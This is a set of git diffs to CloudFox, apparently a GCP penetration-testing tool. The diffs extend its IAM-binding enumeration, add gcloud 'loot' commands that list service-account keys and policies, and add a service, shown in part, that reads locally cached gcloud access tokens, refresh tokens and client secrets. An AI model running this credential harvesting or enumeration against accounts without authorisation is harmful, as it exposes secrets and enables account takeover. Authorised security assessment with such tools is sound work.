|
||||
}
|
||||
|
||||
memberType := IAMService.GetMemberType(rb.Member)
|
||||
memberEmail := extractMemberEmail(rb.Member)
|
||||
|
||||
for _, perm := range permissions {
|
||||
isHighPriv := isHighPrivilegePermission(perm)
|
||||
|
||||
exploded := ExplodedPermission{
|
||||
Entity: rb.Member,
|
||||
EntityType: memberType,
|
||||
EntityEmail: memberEmail,
|
||||
Permission: perm,
|
||||
Role: rb.Role,
|
||||
RoleType: IAMService.GetRoleType(rb.Role),
|
||||
ResourceScope: fmt.Sprintf("%s/%s", rb.ResourceType, rb.ResourceID),
|
||||
ResourceScopeType: rb.ResourceType,
|
||||
ResourceScopeID: rb.ResourceID,
|
||||
ResourceScopeName: rb.ResourceName,
|
||||
IsInherited: false,
|
||||
HasCondition: rb.HasCondition,
|
||||
EffectiveProject: projectID,
|
||||
ProjectName: m.GetProjectName(projectID),
|
||||
IsHighPrivilege: isHighPriv,
|
||||
}
|
||||
|
||||
if rb.HasCondition && rb.ConditionTitle != "" {
|
||||
exploded.ConditionTitle = rb.ConditionTitle
|
||||
exploded.Condition = rb.ConditionTitle
|
||||
}
|
||||
|
||||
// Detect cross-project access
|
||||
if memberType == "ServiceAccount" {
|
||||
saProject := extractProjectFromPrincipal(memberEmail, m.OrgCache)
|
||||
if saProject != "" && saProject != projectID {
|
||||
exploded.IsCrossProject = true
|
||||
exploded.SourceProject = saProject
|
||||
}
|
||||
}
|
||||
|
||||
projectPerms = append(projectPerms, exploded)
|
||||
resourcePermCount++
|
||||
}
|
||||
}
|
||||
if resourcePermCount > 0 && globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerated %d resource-level permission entries in project %s", resourcePermCount, projectID), globals.GCP_PERMISSIONS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
// Store per-project permissions
|
||||
m.ProjectPerms[projectID] = append(m.ProjectPerms[projectID], projectPerms...)
|
||||
@@ -435,11 +568,23 @@ func (m *PermissionsModule) getScopeName(scopeType, scopeID string) string {
|
||||
return scopeID
|
||||
case "folder":
|
||||
return scopeID // Could be enhanced to lookup folder names
|
||||
case "serviceAccount", "bucket", "dataset", "topic", "subscription",
|
||||
"secret", "cryptoKey", "function", "cloudrun", "instance":
|
||||
return scopeID // Resource ID is the scope name
|
||||
default:
|
||||
return scopeID
|
||||
}
|
||||
}
|
||||
|
||||
// extractMemberEmail strips the type prefix from a member string (e.g., "user:[email protected]" -> "[email protected]")
|
||||
func extractMemberEmail(member string) string {
|
||||
parts := strings.SplitN(member, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
return parts[1]
|
||||
}
|
||||
return member
|
||||
}
|
||||
|
||||
func parseConditionTitle(condition string) string {
|
||||
// Try to extract title from condition if it looks like a struct
|
||||
if strings.Contains(condition, "title:") {
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
PubSubService "github.com/BishopFox/cloudfox/gcp/services/pubsubService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
@@ -187,6 +188,40 @@ func (m *PubSubModule) processProject(ctx context.Context, projectID string, log
|
||||
subs = subsResult
|
||||
}
|
||||
|
||||
// Inject inherited project-level IAM bindings
|
||||
iamSvc := IAMService.New()
|
||||
projectPolicies, projErr := iamSvc.Policies(projectID, "project")
|
||||
if projErr == nil {
|
||||
for i := range topics {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("topic", pb.Role) {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
topics[i].IAMBindings = append(topics[i].IAMBindings, PubSubService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
for i := range subs {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("subscription", pb.Role) {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
subs[i].IAMBindings = append(subs[i].IAMBindings, PubSubService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectTopics[projectID] = topics
|
||||
@@ -615,6 +650,7 @@ func (m *PubSubModule) getTopicsHeader() []string {
|
||||
"Public Publish",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -633,6 +669,7 @@ func (m *PubSubModule) getSubsHeader() []string {
|
||||
"Public Subscribe",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -688,6 +725,7 @@ func (m *PubSubModule) topicsToTableBody(topics []PubSubService.TopicInfo) [][]s
|
||||
publicPublish,
|
||||
binding.Role,
|
||||
binding.Member,
|
||||
shared.BindingSource(binding.Source),
|
||||
})
|
||||
}
|
||||
} else {
|
||||
@@ -701,6 +739,7 @@ func (m *PubSubModule) topicsToTableBody(topics []PubSubService.TopicInfo) [][]s
|
||||
publicPublish,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -782,6 +821,7 @@ func (m *PubSubModule) subsToTableBody(subs []PubSubService.SubscriptionInfo) []
|
||||
publicSubscribe,
|
||||
binding.Role,
|
||||
binding.Member,
|
||||
shared.BindingSource(binding.Source),
|
||||
})
|
||||
}
|
||||
} else {
|
||||
@@ -799,6 +839,7 @@ func (m *PubSubModule) subsToTableBody(subs []PubSubService.SubscriptionInfo) []
|
||||
publicSubscribe,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -30,6 +30,8 @@ Supported Resource Types:
|
||||
- Cloud KMS keys
|
||||
- Cloud Functions
|
||||
- Cloud Run services
|
||||
- Service Accounts
|
||||
- Compute Instances
|
||||
|
||||
Key Findings:
|
||||
- Public access (allUsers/allAuthenticatedUsers)
|
||||
@@ -275,6 +277,28 @@ func (m *ResourceIAMModule) addResourceToLoot(b resourceiamservice.ResourceIAMBi
|
||||
b.ResourceID, b.ProjectID,
|
||||
b.ResourceID, b.ProjectID,
|
||||
)
|
||||
case "serviceAccount":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Service Account: %s (Member: %s, Role: %s)\n"+
|
||||
"gcloud iam service-accounts describe %s --project=%s\n"+
|
||||
"gcloud iam service-accounts get-iam-policy %s --project=%s\n"+
|
||||
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n\n",
|
||||
b.ResourceID, b.Member, b.Role,
|
||||
b.ResourceID, b.ProjectID,
|
||||
b.ResourceID, b.ProjectID,
|
||||
b.ResourceID, b.ProjectID,
|
||||
)
|
||||
case "instance":
|
||||
// Extract zone from ResourceName (projects/{proj}/zones/{zone}/instances/{name})
|
||||
zone := extractZoneFromResourceName(b.ResourceName)
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Compute Instance: %s (Member: %s, Role: %s)\n"+
|
||||
"gcloud compute instances describe %s --zone=%s --project=%s\n"+
|
||||
"gcloud compute instances get-iam-policy %s --zone=%s --project=%s\n\n",
|
||||
b.ResourceID, b.Member, b.Role,
|
||||
b.ResourceID, zone, b.ProjectID,
|
||||
b.ResourceID, zone, b.ProjectID,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -306,9 +330,32 @@ func (m *ResourceIAMModule) addPublicResourceToLoot(b resourceiamservice.Resourc
|
||||
"# Cloud Run service may be publicly accessible\ngcloud run services describe %s --project=%s\n\n",
|
||||
b.ResourceID, b.ProjectID,
|
||||
)
|
||||
case "serviceAccount":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Service account has public IAM binding\ngcloud iam service-accounts describe %s --project=%s\n\n",
|
||||
b.ResourceID, b.ProjectID,
|
||||
)
|
||||
case "instance":
|
||||
zone := extractZoneFromResourceName(b.ResourceName)
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Compute instance has public IAM binding\ngcloud compute instances describe %s --zone=%s --project=%s\n\n",
|
||||
b.ResourceID, zone, b.ProjectID,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// extractZoneFromResourceName extracts the zone from a resource name like
|
||||
// "projects/{proj}/zones/{zone}/instances/{name}"
|
||||
func extractZoneFromResourceName(resourceName string) string {
|
||||
parts := strings.Split(resourceName, "/")
|
||||
for i, part := range parts {
|
||||
if part == "zones" && i+1 < len(parts) {
|
||||
return parts[i+1]
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// resourceKey creates a unique key for a resource to group bindings
|
||||
func resourceKey(b resourceiamservice.ResourceIAMBinding) string {
|
||||
return fmt.Sprintf("%s|%s|%s", b.ProjectID, b.ResourceType, b.ResourceName)
|
||||
|
||||
+29
-2
@@ -8,6 +8,8 @@ import (
|
||||
|
||||
secretmanager "cloud.google.com/go/secretmanager/apiv1"
|
||||
SecretsService "github.com/BishopFox/cloudfox/gcp/services/secretsService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
"google.golang.org/api/option"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
@@ -78,8 +80,12 @@ func runGCPSecretsCommand(cmd *cobra.Command, args []string) {
|
||||
return // Error already logged
|
||||
}
|
||||
|
||||
// Create Secret Manager client
|
||||
client, err := secretmanager.NewClient(cmdCtx.Ctx)
|
||||
// Create Secret Manager client (uses impersonated credentials if --impersonate-sa is set)
|
||||
var smOpts []option.ClientOption
|
||||
if s := gcpinternal.GetDefaultSession(); s != nil {
|
||||
smOpts = append(smOpts, s.GetClientOption())
|
||||
}
|
||||
client, err := secretmanager.NewClient(cmdCtx.Ctx, smOpts...)
|
||||
if err != nil {
|
||||
cmdCtx.Logger.ErrorM(fmt.Sprintf("Failed to create Secret Manager client: %v", err), globals.GCP_SECRETS_MODULE_NAME)
|
||||
return
|
||||
@@ -151,6 +157,24 @@ func (m *SecretsModule) processProject(ctx context.Context, projectID string, lo
|
||||
return
|
||||
}
|
||||
|
||||
// Inject inherited project-level IAM bindings into each secret
|
||||
iamSvc := IAMService.New()
|
||||
projectPolicies, projErr := iamSvc.Policies(projectID, "project")
|
||||
if projErr == nil {
|
||||
for i := range secrets {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("secret", pb.Role) {
|
||||
continue
|
||||
}
|
||||
secrets[i].IAMBindings = append(secrets[i].IAMBindings, SecretsService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Members: pb.Members,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectSecrets[projectID] = secrets
|
||||
@@ -399,6 +423,7 @@ func (m *SecretsModule) getTableHeader() []string {
|
||||
"IAM Binding Role",
|
||||
"Principal Type",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
"Principal Attack Paths",
|
||||
}
|
||||
}
|
||||
@@ -472,6 +497,7 @@ func (m *SecretsModule) secretsToTableBody(secrets []SecretsService.SecretInfo)
|
||||
binding.Role,
|
||||
memberType,
|
||||
member,
|
||||
shared.BindingSource(binding.Source),
|
||||
attackPaths,
|
||||
})
|
||||
}
|
||||
@@ -494,6 +520,7 @@ func (m *SecretsModule) secretsToTableBody(secrets []SecretsService.SecretInfo)
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
+117
-72
@@ -36,6 +36,41 @@ Column Descriptions:
|
||||
Run: runGCPServiceAccountsCommand,
|
||||
}
|
||||
|
||||
// SAIAMBinding represents a raw IAM binding on a service account (role + member)
|
||||
type SAIAMBinding struct {
|
||||
Role string
|
||||
Member string
|
||||
Source string // "SA" (direct on SA resource) or "Project" (inherited from project IAM)
|
||||
}
|
||||
|
||||
// saAccessRoles are project-level roles that implicitly grant access to all
|
||||
// service accounts in the project. When a principal holds one of these at the
|
||||
// project level, they can interact with every SA in that project.
|
||||
var saAccessRoles = map[string]bool{
|
||||
"roles/owner": true,
|
||||
"roles/editor": true,
|
||||
"roles/iam.serviceAccountAdmin": true,
|
||||
"roles/iam.serviceAccountKeyAdmin": true,
|
||||
"roles/iam.serviceAccountTokenCreator": true,
|
||||
"roles/iam.serviceAccountUser": true,
|
||||
"roles/iam.workloadIdentityUser": true,
|
||||
"roles/iam.serviceAccountOpenIdTokenCreator": true,
|
||||
}
|
||||
|
||||
// saRelevantPermissions are individual permissions that grant meaningful access
|
||||
// to service accounts. Custom roles containing any of these should be treated
|
||||
// as SA-access roles for inherited binding purposes.
|
||||
var saRelevantPermissions = map[string]bool{
|
||||
"iam.serviceAccounts.getAccessToken": true,
|
||||
"iam.serviceAccountKeys.create": true,
|
||||
"iam.serviceAccounts.signBlob": true,
|
||||
"iam.serviceAccounts.signJwt": true,
|
||||
"iam.serviceAccounts.implicitDelegation": true,
|
||||
"iam.serviceAccounts.actAs": true,
|
||||
"iam.serviceAccounts.setIamPolicy": true,
|
||||
"iam.serviceAccounts.getOpenIdToken": true,
|
||||
}
|
||||
|
||||
// ServiceAccountAnalysis extends ServiceAccountInfo with security analysis
|
||||
type ServiceAccountAnalysis struct {
|
||||
IAMService.ServiceAccountInfo
|
||||
@@ -46,6 +81,8 @@ type ServiceAccountAnalysis struct {
|
||||
HasOldKeys bool // Keys older than 90 days
|
||||
// Pentest: Impersonation analysis
|
||||
ImpersonationInfo *IAMService.SAImpersonationInfo
|
||||
// Raw IAM bindings on this service account (actual roles, not friendly names)
|
||||
RawIAMBindings []SAIAMBinding
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
@@ -190,6 +227,70 @@ func (m *ServiceAccountsModule) processProject(ctx context.Context, projectID st
|
||||
// Silently skip if we can't get roles - user may not have IAM permissions
|
||||
}
|
||||
|
||||
// Get raw SA-level IAM bindings for each service account (direct bindings)
|
||||
saIAMBindingsMap := make(map[string][]SAIAMBinding)
|
||||
bindingCtx := context.Background()
|
||||
for _, sa := range serviceAccounts {
|
||||
rawBindings, err := iamService.GetServiceAccountIAMBindings(bindingCtx, sa.Email, projectID)
|
||||
if err == nil {
|
||||
for _, pb := range rawBindings {
|
||||
for _, member := range pb.Members {
|
||||
saIAMBindingsMap[sa.Email] = append(saIAMBindingsMap[sa.Email], SAIAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "SA",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get project-level IAM bindings that grant implicit access to all SAs.
|
||||
// These are inherited, not set directly on the SA resource.
|
||||
projectBindings, err := iamService.Policies(projectID, "project")
|
||||
if err == nil {
|
||||
// Cache for custom role resolution so we only resolve each role once
|
||||
resolvedRoles := make(map[string]bool) // role -> hasSAPermissions
|
||||
roleCtx := context.Background()
|
||||
|
||||
for _, pb := range projectBindings {
|
||||
include := saAccessRoles[pb.Role]
|
||||
|
||||
// For roles not in the hardcoded list, resolve permissions to check
|
||||
// for SA-relevant permissions (catches custom roles like privesc_02_createSAKey)
|
||||
if !include {
|
||||
if cached, ok := resolvedRoles[pb.Role]; ok {
|
||||
include = cached
|
||||
} else {
|
||||
perms, permErr := iamService.GetRolePermissions(roleCtx, pb.Role)
|
||||
if permErr == nil {
|
||||
for _, p := range perms {
|
||||
if saRelevantPermissions[p] {
|
||||
include = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
resolvedRoles[pb.Role] = include
|
||||
}
|
||||
}
|
||||
|
||||
if !include {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
// Add this inherited binding to every SA in the project
|
||||
for _, sa := range serviceAccounts {
|
||||
saIAMBindingsMap[sa.Email] = append(saIAMBindingsMap[sa.Email], SAIAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Analyze each service account
|
||||
var analyzedSAs []ServiceAccountAnalysis
|
||||
for _, sa := range serviceAccounts {
|
||||
@@ -202,6 +303,10 @@ func (m *ServiceAccountsModule) processProject(ctx context.Context, projectID st
|
||||
if roles, ok := saRoles[sa.Email]; ok {
|
||||
analyzed.Roles = roles
|
||||
}
|
||||
// Attach raw IAM bindings
|
||||
if bindings, ok := saIAMBindingsMap[sa.Email]; ok {
|
||||
analyzed.RawIAMBindings = bindings
|
||||
}
|
||||
analyzedSAs = append(analyzedSAs, analyzed)
|
||||
}
|
||||
|
||||
@@ -481,6 +586,7 @@ func (m *ServiceAccountsModule) getTableHeader() []string {
|
||||
// Impersonation
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -541,85 +647,24 @@ func (m *ServiceAccountsModule) serviceAccountsToTableBody(serviceAccounts []Ser
|
||||
}
|
||||
}
|
||||
|
||||
// Format roles for display
|
||||
rolesDisplay := IAMService.FormatRolesShort(sa.Roles)
|
||||
// Format roles for display (full role names)
|
||||
rolesDisplay := "-"
|
||||
if len(sa.Roles) > 0 {
|
||||
rolesDisplay = strings.Join(sa.Roles, ", ")
|
||||
}
|
||||
|
||||
// Build IAM bindings from impersonation info
|
||||
// Row order: Identity (Project, Email, Display Name, Disabled, Default SA),
|
||||
// Keys (User Managed Keys, Google Managed Keys, Oldest Key Age),
|
||||
// Permissions (DWD, Roles, SA Attack Paths),
|
||||
// Impersonation (IAM Binding Role, IAM Binding Principal)
|
||||
// Build IAM binding rows from raw bindings (actual roles, not friendly names)
|
||||
hasBindings := false
|
||||
if sa.ImpersonationInfo != nil {
|
||||
for _, member := range sa.ImpersonationInfo.TokenCreators {
|
||||
email := extractEmailFromMember(member)
|
||||
if len(sa.RawIAMBindings) > 0 {
|
||||
for _, binding := range sa.RawIAMBindings {
|
||||
email := extractEmailFromMember(binding.Member)
|
||||
if email != sa.Email {
|
||||
hasBindings = true
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(sa.ProjectID), sa.Email, sa.DisplayName, disabled, defaultSA,
|
||||
userKeys, googleKeys, oldestKeyAge,
|
||||
dwd, rolesDisplay, attackPaths,
|
||||
"TokenCreator", member,
|
||||
})
|
||||
}
|
||||
}
|
||||
for _, member := range sa.ImpersonationInfo.KeyCreators {
|
||||
email := extractEmailFromMember(member)
|
||||
if email != sa.Email {
|
||||
hasBindings = true
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(sa.ProjectID), sa.Email, sa.DisplayName, disabled, defaultSA,
|
||||
userKeys, googleKeys, oldestKeyAge,
|
||||
dwd, rolesDisplay, attackPaths,
|
||||
"KeyAdmin", member,
|
||||
})
|
||||
}
|
||||
}
|
||||
for _, member := range sa.ImpersonationInfo.ActAsUsers {
|
||||
email := extractEmailFromMember(member)
|
||||
if email != sa.Email {
|
||||
hasBindings = true
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(sa.ProjectID), sa.Email, sa.DisplayName, disabled, defaultSA,
|
||||
userKeys, googleKeys, oldestKeyAge,
|
||||
dwd, rolesDisplay, attackPaths,
|
||||
"ActAs", member,
|
||||
})
|
||||
}
|
||||
}
|
||||
for _, member := range sa.ImpersonationInfo.SAAdmins {
|
||||
email := extractEmailFromMember(member)
|
||||
if email != sa.Email {
|
||||
hasBindings = true
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(sa.ProjectID), sa.Email, sa.DisplayName, disabled, defaultSA,
|
||||
userKeys, googleKeys, oldestKeyAge,
|
||||
dwd, rolesDisplay, attackPaths,
|
||||
"SAAdmin", member,
|
||||
})
|
||||
}
|
||||
}
|
||||
for _, member := range sa.ImpersonationInfo.SignBlobUsers {
|
||||
email := extractEmailFromMember(member)
|
||||
if email != sa.Email {
|
||||
hasBindings = true
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(sa.ProjectID), sa.Email, sa.DisplayName, disabled, defaultSA,
|
||||
userKeys, googleKeys, oldestKeyAge,
|
||||
dwd, rolesDisplay, attackPaths,
|
||||
"SignBlob", member,
|
||||
})
|
||||
}
|
||||
}
|
||||
for _, member := range sa.ImpersonationInfo.SignJwtUsers {
|
||||
email := extractEmailFromMember(member)
|
||||
if email != sa.Email {
|
||||
hasBindings = true
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(sa.ProjectID), sa.Email, sa.DisplayName, disabled, defaultSA,
|
||||
userKeys, googleKeys, oldestKeyAge,
|
||||
dwd, rolesDisplay, attackPaths,
|
||||
"SignJwt", member,
|
||||
binding.Role, binding.Member, binding.Source,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -630,7 +675,7 @@ func (m *ServiceAccountsModule) serviceAccountsToTableBody(serviceAccounts []Ser
|
||||
m.GetProjectName(sa.ProjectID), sa.Email, sa.DisplayName, disabled, defaultSA,
|
||||
userKeys, googleKeys, oldestKeyAge,
|
||||
dwd, rolesDisplay, attackPaths,
|
||||
"-", "-",
|
||||
"-", "-", "-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
+35
-6
@@ -237,13 +237,42 @@ func (m *WhoAmIModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
}
|
||||
|
||||
// Step 1: Get current identity
|
||||
// When a non-ADC session exists (--access-token, --key-file, --impersonate-sa),
|
||||
// resolve identity from the session's token. Never fall back to ADC when the
|
||||
// user provided explicit credentials, as that would report the wrong identity.
|
||||
oauthService := OAuthService.NewOAuthService()
|
||||
principal, err := oauthService.WhoAmI()
|
||||
if err != nil {
|
||||
parsedErr := gcpinternal.ParseGCPError(err, "oauth2.googleapis.com")
|
||||
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_WHOAMI_MODULE_NAME,
|
||||
"Could not retrieve token info")
|
||||
return
|
||||
var principal *OAuthService.Principal
|
||||
var err error
|
||||
|
||||
if session := gcpinternal.GetDefaultSession(); session != nil {
|
||||
// Try 1: Use the session's already-resolved email (populated during session creation
|
||||
// from key file client_email, tokeninfo, or impersonation target).
|
||||
if session.GetEmail() != "" {
|
||||
principal = &OAuthService.Principal{Email: session.GetEmail()}
|
||||
} else {
|
||||
// Try 2: Query tokeninfo with the session's access token.
|
||||
token, tokenErr := session.GetToken(ctx)
|
||||
if tokenErr == nil && token != "" {
|
||||
principal, err = oauthService.WhoAmIWithToken(token)
|
||||
}
|
||||
}
|
||||
|
||||
// If we still have no identity, error out. Do NOT fall back to ADC.
|
||||
if principal == nil || principal.Email == "" {
|
||||
logger.ErrorM("Could not determine identity for the provided credentials. "+
|
||||
"The access token may not include the email claim. "+
|
||||
"Try using --key-file or --impersonate-sa instead.", globals.GCP_WHOAMI_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
// No explicit session: use Application Default Credentials
|
||||
principal, err = oauthService.WhoAmI()
|
||||
if err != nil {
|
||||
parsedErr := gcpinternal.ParseGCPError(err, "oauth2.googleapis.com")
|
||||
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_WHOAMI_MODULE_NAME,
|
||||
"Could not retrieve token info")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
m.Identity = IdentityContext{
|
||||
|
||||
@@ -15,7 +15,7 @@ type AccessPolicyService struct {
|
||||
}
|
||||
|
||||
func New() *AccessPolicyService {
|
||||
return &AccessPolicyService{}
|
||||
return &AccessPolicyService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *AccessPolicyService {
|
||||
|
||||
@@ -0,0 +1,502 @@
|
||||
package accesstokensservice
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/sha256"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
// AccessToken represents a cached access token from access_tokens.db
|
||||
type AccessToken struct {
|
||||
AccountID string
|
||||
AccessToken string
|
||||
TokenExpiry time.Time
|
||||
RAPTToken string
|
||||
IDToken string
|
||||
}
|
||||
|
||||
// RefreshToken represents a cached refresh token from credentials.db
|
||||
type RefreshToken struct {
|
||||
AccountID string
|
||||
RefreshToken string
|
||||
TokenURI string
|
||||
ClientID string
|
||||
ClientSecret string
|
||||
RAPTToken string
|
||||
Type string
|
||||
}
|
||||
|
||||
// ADCCredential represents application default credentials
|
||||
type ADCCredential struct {
|
||||
ClientID string `json:"client_id"`
|
||||
ClientSecret string `json:"client_secret"`
|
||||
RefreshToken string `json:"refresh_token"`
|
||||
Type string `json:"type"`
|
||||
QuotaProject string `json:"quota_project_id"`
|
||||
}
|
||||
|
||||
// GcloudProfile represents a gcloud configuration profile
|
||||
type GcloudProfile struct {
|
||||
Name string
|
||||
Account string
|
||||
Project string
|
||||
}
|
||||
|
||||
// CredentialSummary is the unified view of a discovered credential
|
||||
type CredentialSummary struct {
|
||||
Account string
|
||||
Type string // "access_token", "refresh_token", "adc", "sa_key"
|
||||
Source string // file path or db name
|
||||
Validity string // "ACTIVE", "EXPIRED", "UNKNOWN"
|
||||
HasRefresh bool
|
||||
RAPTStatus string // "ENROLLED", "NOT_ENROLLED", "UNKNOWN"
|
||||
Profile string
|
||||
IsActive bool
|
||||
Project string
|
||||
AccessToken string
|
||||
}
|
||||
|
||||
// AccessTokensService reads locally cached gcloud credentials
|
||||
type AccessTokensService struct {
|
||||
configDir string
|
||||
}
|
||||
|
||||
// New creates an AccessTokensService using the default or env-overridden config dir
|
||||
func New() *AccessTokensService {
|
||||
configDir := getConfigDir()
|
||||
return &AccessTokensService{configDir: configDir}
|
||||
}
|
||||
|
||||
// getConfigDir returns the gcloud config directory, respecting CLOUDSDK_CONFIG_DIR
|
||||
func getConfigDir() string {
|
||||
if dir := os.Getenv("CLOUDSDK_CONFIG_DIR"); dir != "" {
|
||||
return dir
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return filepath.Join(home, ".config", "gcloud")
|
||||
}
|
||||
|
||||
// GetAllCredentials discovers all locally cached gcloud credentials
|
||||
func (s *AccessTokensService) GetAllCredentials() ([]CredentialSummary, error) {
|
||||
if s.configDir == "" {
|
||||
return nil, fmt.Errorf("could not determine gcloud config directory")
|
||||
}
|
||||
|
||||
var summaries []CredentialSummary
|
||||
|
||||
// 1. Read access tokens from access_tokens.db
|
||||
accessTokens, err := s.readAccessTokensDB()
|
||||
if err != nil && globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
fmt.Fprintf(os.Stderr, "[access-tokens] Could not read access_tokens.db: %v\n", err)
|
||||
}
|
||||
|
||||
// 2. Read refresh tokens from credentials.db
|
||||
refreshTokens, err := s.readCredentialsDB()
|
||||
if err != nil && globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
fmt.Fprintf(os.Stderr, "[access-tokens] Could not read credentials.db: %v\n", err)
|
||||
}
|
||||
|
||||
// 3. Read ADC
|
||||
adc, err := s.readADC()
|
||||
if err != nil && globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
fmt.Fprintf(os.Stderr, "[access-tokens] Could not read application_default_credentials.json: %v\n", err)
|
||||
}
|
||||
|
||||
// 4. Read profiles
|
||||
activeConfig := s.readActiveConfig()
|
||||
profiles := s.readAllProfiles()
|
||||
|
||||
// 5. Check GOOGLE_APPLICATION_CREDENTIALS
|
||||
saKeyPath := os.Getenv("GOOGLE_APPLICATION_CREDENTIALS")
|
||||
|
||||
// Build refresh token lookup by account_id
|
||||
refreshMap := make(map[string]RefreshToken)
|
||||
for _, rt := range refreshTokens {
|
||||
refreshMap[rt.AccountID] = rt
|
||||
}
|
||||
|
||||
// Build profile lookup by account
|
||||
profileMap := make(map[string]GcloudProfile)
|
||||
for _, p := range profiles {
|
||||
profileMap[p.Account] = p
|
||||
}
|
||||
|
||||
// Process access tokens
|
||||
for _, at := range accessTokens {
|
||||
summary := CredentialSummary{
|
||||
Account: at.AccountID,
|
||||
Type: "access_token",
|
||||
Source: "access_tokens.db",
|
||||
RAPTStatus: "UNKNOWN",
|
||||
}
|
||||
|
||||
// Check token validity
|
||||
if at.TokenExpiry.IsZero() {
|
||||
summary.Validity = "UNKNOWN"
|
||||
} else if time.Now().Before(at.TokenExpiry) {
|
||||
summary.Validity = "ACTIVE"
|
||||
} else {
|
||||
summary.Validity = "EXPIRED"
|
||||
}
|
||||
|
||||
// Check for matching refresh token
|
||||
if rt, ok := refreshMap[at.AccountID]; ok {
|
||||
summary.HasRefresh = true
|
||||
if rt.RAPTToken != "" {
|
||||
summary.RAPTStatus = "ENROLLED"
|
||||
} else {
|
||||
summary.RAPTStatus = "NOT_ENROLLED"
|
||||
}
|
||||
}
|
||||
|
||||
// Check RAPT from access token itself
|
||||
if at.RAPTToken != "" {
|
||||
summary.RAPTStatus = "ENROLLED"
|
||||
}
|
||||
|
||||
// Match profile
|
||||
